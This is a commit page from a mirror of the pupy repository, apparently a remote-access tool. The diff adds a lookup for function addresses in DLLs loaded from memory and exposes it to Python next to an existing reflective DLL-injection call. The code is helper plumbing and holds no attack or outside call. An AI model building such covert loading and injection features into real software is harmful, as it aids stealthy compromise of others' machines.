Rooba
/
pupy
mirror of https://github.com/n1nj4sec/pupy.git
1
1
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Add function to search functions by module and name 

It wasn't possible to find functions in libraries
loaded using memoryloader (Windows)
This commit is contained in:
Oleksii Shevchuk 2016-10-30 23:12:49 +02:00
parent 2a419200ed
commit fe8542f4cc
3 changed files with 34 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

14
client/sources/MyLoadLibrary.c
View File

@ -99,6 +99,7 @@ static LIST *_FindMemoryModule(LPCSTR name, HMODULE module)
lib = lib->next; lib = lib->next;
} }
} }
dprintf("_FindMemoryModule(%s, %p) -> NONE\n", name, module);
return NULL; return NULL;
} }
@ -231,3 +232,16 @@ FARPROC MyGetProcAddress(HMODULE module, LPCSTR procname)
} else } else
return GetProcAddress(module, procname); return GetProcAddress(module, procname);
} }
FARPROC MyFindProcAddress(LPCSTR modulename, LPCSTR procname)
{
HCUSTOMMODULE mod = MyGetModuleHandle(modulename);
void *addr = NULL;
dprintf("MyFindProcAddress(%s, %s) -> %p\n", modulename, procname, mod);
if (mod) {
addr = MyGetProcAddress(mod, procname);
}
dprintf("MyFindProcAddress(%s, %s) -> %p\n", modulename, procname, addr);
return addr;
}

1
client/sources/MyLoadLibrary.h
View File

@ -9,5 +9,6 @@ BOOL MyFreeLibrary(HMODULE);
FARPROC MyGetProcAddress(HMODULE, LPCSTR); FARPROC MyGetProcAddress(HMODULE, LPCSTR);
FARPROC MyFindProcAddress(LPCSTR modulename, LPCSTR procname);
#endif #endif

19
client/sources/pupy.c
View File

@ -69,12 +69,30 @@ static PyObject *Py_load_dll(PyObject *self, PyObject *args)
return PyBool_FromLong(0); return PyBool_FromLong(0);
} }
static PyObject *Py_find_function_address(PyObject *self, PyObject *args)
{
const char *lpDllName = NULL;
const char *lpFuncName = NULL;
void *address = NULL;
printf("DEBUG 0: %s %s\n", lpDllName, lpFuncName);
if (PyArg_ParseTuple(args, "ss", &lpDllName, &lpFuncName)) {
printf("DEBUG: %s %s\n", lpDllName, lpFuncName);
address = MyFindProcAddress(lpDllName, lpFuncName);
}
printf("DEBUG 2: %s %s %p\n", lpDllName, lpFuncName, address);
return PyLong_FromVoidPtr(address);
}
static PyMethodDef methods[] = { static PyMethodDef methods[] = {
{ "get_pupy_config", Py_get_pupy_config, METH_NOARGS, "get_pupy_config() -> string" }, { "get_pupy_config", Py_get_pupy_config, METH_NOARGS, "get_pupy_config() -> string" },
{ "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" }, { "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" },
{ "_get_compressed_library_string", Py_get_compressed_library_string, METH_VARARGS }, { "_get_compressed_library_string", Py_get_compressed_library_string, METH_VARARGS },
{ "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\nreflectively inject a dll into a process. raise an Exception on failure" }, { "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\nreflectively inject a dll into a process. raise an Exception on failure" },
{ "load_dll", Py_load_dll, METH_VARARGS, "load_dll(dllname, raw_dll) -> bool" }, { "load_dll", Py_load_dll, METH_VARARGS, "load_dll(dllname, raw_dll) -> bool" },
{ "find_function_address", Py_find_function_address, METH_VARARGS,
"find_function_address(dllname, function) -> address" },
{ NULL, NULL }, /* Sentinel */ { NULL, NULL }, /* Sentinel */
}; };
@ -83,4 +101,3 @@ initpupy(void)
{ {
Py_InitModule3("pupy", methods, module_doc); Py_InitModule3("pupy", methods, module_doc);
} }